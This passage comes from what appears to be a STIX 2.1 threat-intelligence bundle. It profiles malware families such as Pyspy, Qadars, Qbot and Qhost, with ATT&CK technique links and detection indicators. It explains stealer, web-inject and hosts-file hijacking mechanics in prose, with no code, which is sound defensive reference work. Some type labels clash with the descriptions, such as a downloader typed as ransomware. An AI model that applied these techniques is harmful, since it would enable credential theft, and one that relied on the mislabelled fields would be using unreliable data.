      "description": "TrojanSpy:Python/Pyspy represents a growing trend in malware development: threats written entirely in the Python programming language. Attackers leverage Python's extensive standard library and third-party modules to easily construct powerful InfoStealers and keyloggers. To run on target machines without requiring Python to be installed, attackers use tools like `PyInstaller` or `py2exe` to package the scripts into standalone Windows executables (`T1027.002`).<br><br><b>Understanding Pyspy (Python-Based Malware)</b><br>To an end-user, the infection is invisible, often disguised as a generic utility or document. For a security analyst, unpacking a Pyspy executable reveals the original Python source code, making reverse engineering relatively straightforward compared to compiled C++ malware. However, the use of `PyInstaller` often acts as a crude packing mechanism that can confuse legacy antivirus engines.<br><br><b>Execution and Extraction Mechanics</b><br>Pyspy is typically distributed via phishing or Discord/Telegram channels. When the packaged executable runs, it extracts a bundled Python interpreter and the malicious script into a temporary directory (like `_MEIxxxxxx`) in `%Temp%` and executes it (`T1059.006`). The Python script then utilizes libraries like `sqlite3` to dump browser passwords (`T1552.001`), `pynput` for keylogging (`T1056.001`), and `requests` to exfiltrate the stolen data to a C2 server or a Discord Webhook (`T1041`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is rapid credential theft and intellectual property loss. Host-based IoCs are highly specific: EDR alerts for the creation of `_MEI` temporary folders containing `python.dll` and `.pyd` files, and the execution of those bundled Python environments from untrusted directories. Network IoCs often include outbound HTTPS traffic to Discord Webhooks or Telegram APIs, which attackers frequently abuse as free C2 infrastructure. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pyspy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pyspy"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--76b7a9c1-7376-587a-a825-bebdaa13b644",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--102e38ac-d2f4-53f8-9816-24304b0e23ea",
      "target_ref": "attack-pattern--de6ff40c-5e8a-5294-ad7e-9bd2520f63eb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pyspy exhibits technique T1059.006 (Command and Scripting Interpreter: Python (Abusing the bundled interpreter to execute the payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c50ac883-2854-50ad-a6e0-84711976aad0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--102e38ac-d2f4-53f8-9816-24304b0e23ea",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pyspy exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing (Using PyInstaller to bundle and hide the script))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d59b831d-4ab6-530a-af12-c855117d8f34",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--102e38ac-d2f4-53f8-9816-24304b0e23ea",
      "target_ref": "attack-pattern--be3c2ebf-802b-5550-add8-0d33497d4a55",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pyspy exhibits technique T1552.001 (Credentials In Files (Stealing saved browser passwords and crypto wallets))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2f9d95cd-a15c-53ea-b503-e0af9bd47938",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--102e38ac-d2f4-53f8-9816-24304b0e23ea",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pyspy exhibits technique T1041 (Exfiltration Over C2 Channel (Sending stolen data, often via Discord Webhooks))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3ba0380c-5f14-588d-a5da-14216a51545d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Qaccel",
      "description": "Adware:Win32/Qaccel is an intrusive Potentially Unwanted Program (PUP) designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries, injects unwanted advertisements into webpages, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators.<br><br><b>Understanding Qaccel</b><br>To an end-user, Qaccel manifests as a sudden, unwanted change to their browser's homepage, new tab page, and the appearance of unremovable toolbars or persistent pop-up ads. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (malicious advertisements).<br><br><b>Execution and Hijacking Mechanics</b><br>Qaccel is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. These extensions locally intercept web traffic to inject sponsored links directly into the DOM of legitimate websites.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search traffic containing tracking parameters. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Qaccel",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/qaccel"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d0660ebe-d99a-572f-9bc1-78111e529dc7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3ba0380c-5f14-588d-a5da-14216a51545d",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qaccel exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0082261f-80d7-5a1d-b832-ee7a9d93474b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3ba0380c-5f14-588d-a5da-14216a51545d",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qaccel exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b43e1b43-1fb1-59cd-beb7-5238f54a224e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3ba0380c-5f14-588d-a5da-14216a51545d",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qaccel exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--027cd325-91e5-5eea-902f-ba6373b74d3c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3ba0380c-5f14-588d-a5da-14216a51545d",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qaccel exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d397def5-888a-5f53-9fd3-5abee3423e53",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Qadars",
      "description": "Trojan:Win32/Qadars is a highly sophisticated, commercially sold banking trojan and botnet framework. Its primary objective is to facilitate severe financial fraud by stealing banking credentials, bypassing Multi-Factor Authentication (MFA), and allowing attackers to initiate unauthorized wire transfers directly from the victim's compromised machine. It is known for its advanced 'web inject' capabilities and its ability to bypass two-factor authentication by occasionally deploying companion mobile malware to the victim's smartphone.<br><br><b>Understanding Qadars (Banking Trojans)</b><br>To a victim, a Qadars infection is invisible until money is missing from their accounts. For a financial institution, it represents a critical threat capable of defeating standard anti-fraud measures. Qadars specializes in Man-in-the-Browser (MitB) attacks, allowing the attacker to interact with the victim's bank session while the victim is actively logged in, bypassing IP and device fingerprinting checks.<br><br><b>Execution and Web Injection Mechanics</b><br>Qadars is typically distributed via targeted malspam (`T1566.001`), exploit kits (like Angler or Rig), or dropped by other loaders. Upon execution, it achieves persistence (`T1547.001`) and heavily utilizes API hooking and process injection (`T1055`) to embed itself into web browsers (Chrome, Firefox, IE). When the victim navigates to a targeted banking URL, Qadars uses 'Web Injects' (`T1185`) to dynamically alter the HTML/JavaScript of the bank's page before it renders on the screen. It can present fake login fields asking for Social Security numbers, ATM PINs, or prompt the user to download a 'security app' to their phone (which is actually a malicious SMS interceptor). Furthermore, it captures the data and sends it to the C2 server, allowing attackers to seamlessly bypass MFA.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is direct, massive financial theft. Host-based IoCs include EDR alerts for known banking trojan signatures, suspicious DLLs injected into browser processes (`chrome.exe`, `firefox.exe`), and unexpected outbound network connections from those browsers to known malicious C2 panels (often utilizing DGAs). Network IoCs include the downloading of 'web inject' configuration files from the C2 infrastructure. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Qadars",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/qadars"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae065a2d-5e23-5607-bb56-faea026f5217",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d397def5-888a-5f53-9fd3-5abee3423e53",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qadars exhibits technique T1185 (Browser Session Hijacking (Man-in-the-Browser / Web Injects))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64f87bd7-f33c-5c9e-be1d-e19204a3f510",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d397def5-888a-5f53-9fd3-5abee3423e53",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qadars exhibits technique T1055 (Process Injection (Hooking browser APIs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb837546-0fc2-55f4-bf2e-88a98a4b09e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d397def5-888a-5f53-9fd3-5abee3423e53",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qadars exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--48e13385-7d21-5df9-8d2f-df199c683622",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d397def5-888a-5f53-9fd3-5abee3423e53",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qadars exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 communication))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8f7f2181-e5ca-5e85-98ab-a384380bd3ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Qbot",
      "description": "QakBot (widely referenced as Qbot or Pinkslipbot) is an aggressive, modular banking trojan and malware loader that operated for over 16 years, emerging around 2007 and evolving into one of the most prolific initial access vectors for enterprise ransomware operators. QakBot spreads primarily via weaponized email phishing campaigns featuring malicious OneNote documents, hijacked email thread replies, and weaponized archives (ZIP, ISO, VHD).\n\nOnce running on an endpoint, QakBot injects into legitimate processes (such as wermgr.exe or mobsync.exe), steals stored web browser credentials, harvests emails to conduct thread-hijacking for secondary spreading, and performs automated Active Directory and network reconnaissance. In high-value corporate intrusions, QakBot operators historically brokered access to major ransomware syndicates, including Black Basta, Conti, REvil, and MegaCortex. In August 2023, the U.S. Department of Justice, FBI, and Europol executed 'Operation Duck Hunt', seizing 52 C2 servers, recovering $8.6 million in illicit cryptocurrency, and sending uninstallation instructions to over 700,000 compromised host computers worldwide. (Observed samples in benchmark: 1,758)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Qakbot",
        "Pinkslipbot",
        "Trojan.Qbot",
        "Banking.Qakbot",
        "Win32/Qakbot",
        "qbot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Qbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/qbot"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "AA23-242A: QakBot Malware Disrupted in International Cyber Takedown"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3e49984d-f88a-5224-8491-1394ac48b596",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8f7f2181-e5ca-5e85-98ab-a384380bd3ab",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qbot exhibits technique T1566.001 (Spearphishing Attachment)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--2e27508e-d893-5bcf-a31d-43094688471a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1027.006: HTML Smuggling",
      "description": "MITRE ATT&CK Technique T1027.006 (HTML Smuggling) under tactic Enterprise.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1027.006",
          "url": "https://attack.mitre.org/techniques/T1027/006/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5f21c596-dcca-5a89-a24e-cefc88f65882",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8f7f2181-e5ca-5e85-98ab-a384380bd3ab",
      "target_ref": "attack-pattern--2e27508e-d893-5bcf-a31d-43094688471a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qbot exhibits technique T1027.006 (HTML Smuggling)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--66f74aad-c0d6-5c49-965f-11165cdac0e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8f7f2181-e5ca-5e85-98ab-a384380bd3ab",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qbot exhibits technique T1053.005 (Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1b7fb148-3a7f-5384-974b-5d4d31df1cdb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8f7f2181-e5ca-5e85-98ab-a384380bd3ab",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qbot exhibits technique T1055.001 (DLL Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e85c4c5b-fcee-54f5-bb10-90c8c8684afd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Qdownb",
      "description": "<h3>Executive Summary</h3>\nQdownb is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nQdownb is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Qdownb operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Qdownb ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Qdownb receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Qdownb infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Qdownb executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Qdownb frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Qdownb",
        "Downloader.Qdownb",
        "Win32/Qdownb"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Qdownb",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/qdownb"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb077411-3f62-57a3-b1b4-c939ae601dfb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e85c4c5b-fcee-54f5-bb10-90c8c8684afd",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qdownb exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0db8a407-5dd5-5271-97a5-60f20c44de84",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e85c4c5b-fcee-54f5-bb10-90c8c8684afd",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qdownb exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7f2bd75c-cfba-5b00-a280-00022db99fcb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e85c4c5b-fcee-54f5-bb10-90c8c8684afd",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qdownb exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9ea0da58-2478-5ec4-84e7-c86bb854980b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Qhost",
      "description": "Trojan:Win32/Qhost (cataloged widely across security telemetry as TROJ_QHOST, DNSChanger.Qhost, or Win32/Qhost) is a classic and persistent DNS-tampering trojan designed to hijack internet traffic by modifying the Windows HOSTS configuration file (%SystemRoot%\\System32\\drivers\\etc\\hosts). Deployed through software cracks, malicious email attachments, and exploit kits, Qhost modifies local name-resolution mappings to redirect web browser traffic away from legitimate domains toward attacker-controlled phishing servers, fraudulent advertising syndicates, and credential-harvesting landing pages. Crucially, Qhost systematically appends hundreds of entries mapping security vendor domains (including Microsoft, Trend Micro, Kaspersky, Symantec, and Malwarebytes) to loopback (127.0.0.1) or unreachable addresses, effectively neutralizing automatic antivirus signature updates and preventing victims from downloading remediation software. (Observed samples in benchmark: 1,722)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Qhost",
        "Trojan:Win32/Qhost",
        "TROJ_QHOST",
        "DNSChanger.Qhost",
        "Win32/Qhost",
        "Trojan.Qhost",
        "Qhosts Redirector"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Qhost",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/qhost"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64e62221-517f-5c93-afd9-4933aa14c310",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ea0da58-2478-5ec4-84e7-c86bb854980b",
      "target_ref": "attack-pattern--42d77d66-a317-5dd6-8076-f4bd757e405a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qhost exhibits technique T1565.001 (Data Manipulation: Stored Data Manipulation (Altering DNS IP settings))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aaa99bed-8f86-5063-bbca-998180b86ecc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ea0da58-2478-5ec4-84e7-c86bb854980b",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qhost exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--562f6304-801d-5b56-9910-50d9301c6207",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ea0da58-2478-5ec4-84e7-c86bb854980b",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qhost exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8b1d2367-2e6d-5158-8a01-ad60f0c38a63",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ea0da58-2478-5ec4-84e7-c86bb854980b",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qhost exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f055755-e960-5c79-a1a0-0b875389009a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ea0da58-2478-5ec4-84e7-c86bb854980b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qhost exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8f2218f8-a0c5-5fa2-84f3-c6ee4489e710",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ea0da58-2478-5ec4-84e7-c86bb854980b",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qhost exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--199af5f5-3986-52fa-b308-d740f0f56f67",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Qhosts",
      "description": "Trojan:Win32/Qhosts is a classic, highly specific trojan whose primary malicious activity is modifying the Windows `hosts` file (`%SystemRoot%\\System32\\drivers\\etc\\hosts`). By altering this file, the attacker can silently hijack DNS resolution at the local level (`T1562.002`), redirecting the victim from legitimate websites (like banks, webmail, or antivirus vendors) to malicious phishing clones or sinkholes controlled by the attacker.<br><br><b>Understanding Qhosts (DNS/Hosts Hijacking)</b><br>To an end-user, the attack is invisible. They type `www.chase.com` into their browser, the browser shows `www.chase.com` in the address bar, but they are actually interacting with an attacker's server. For security analysts, Qhosts represents a fundamental attack on the integrity of the operating system's networking stack. It bypasses corporate DNS filtering entirely because the OS checks the local `hosts` file before querying an external DNS server.<br><br><b>Execution and Hijacking Mechanics</b><br>Qhosts is typically delivered as a small executable via spearphishing or dropped by a primary downloader. Upon execution, it requires administrative privileges. It opens the `hosts` file, removes any existing Read-Only attributes, and appends new entries. These entries map legitimate domain names (e.g., `bankofamerica.com`, `microsoft.com`) to the IP addresses of attacker-controlled servers. It frequently redirects domains associated with antivirus updates (e.g., `liveupdate.symantec.com`) to `127.0.0.1` (localhost), effectively preventing the security software from updating (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact ranges from credential theft via highly convincing phishing pages to the disabling of endpoint security tools. Host-based IoCs are straightforward: unauthorized modifications to the `%SystemRoot%\\System32\\drivers\\etc\\hosts` file, specifically the presence of mappings for banking, security, or major webmail providers. EDR alerts triggering on unexpected processes modifying this specific file path are critical indicators. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Qhosts",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/qhosts"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
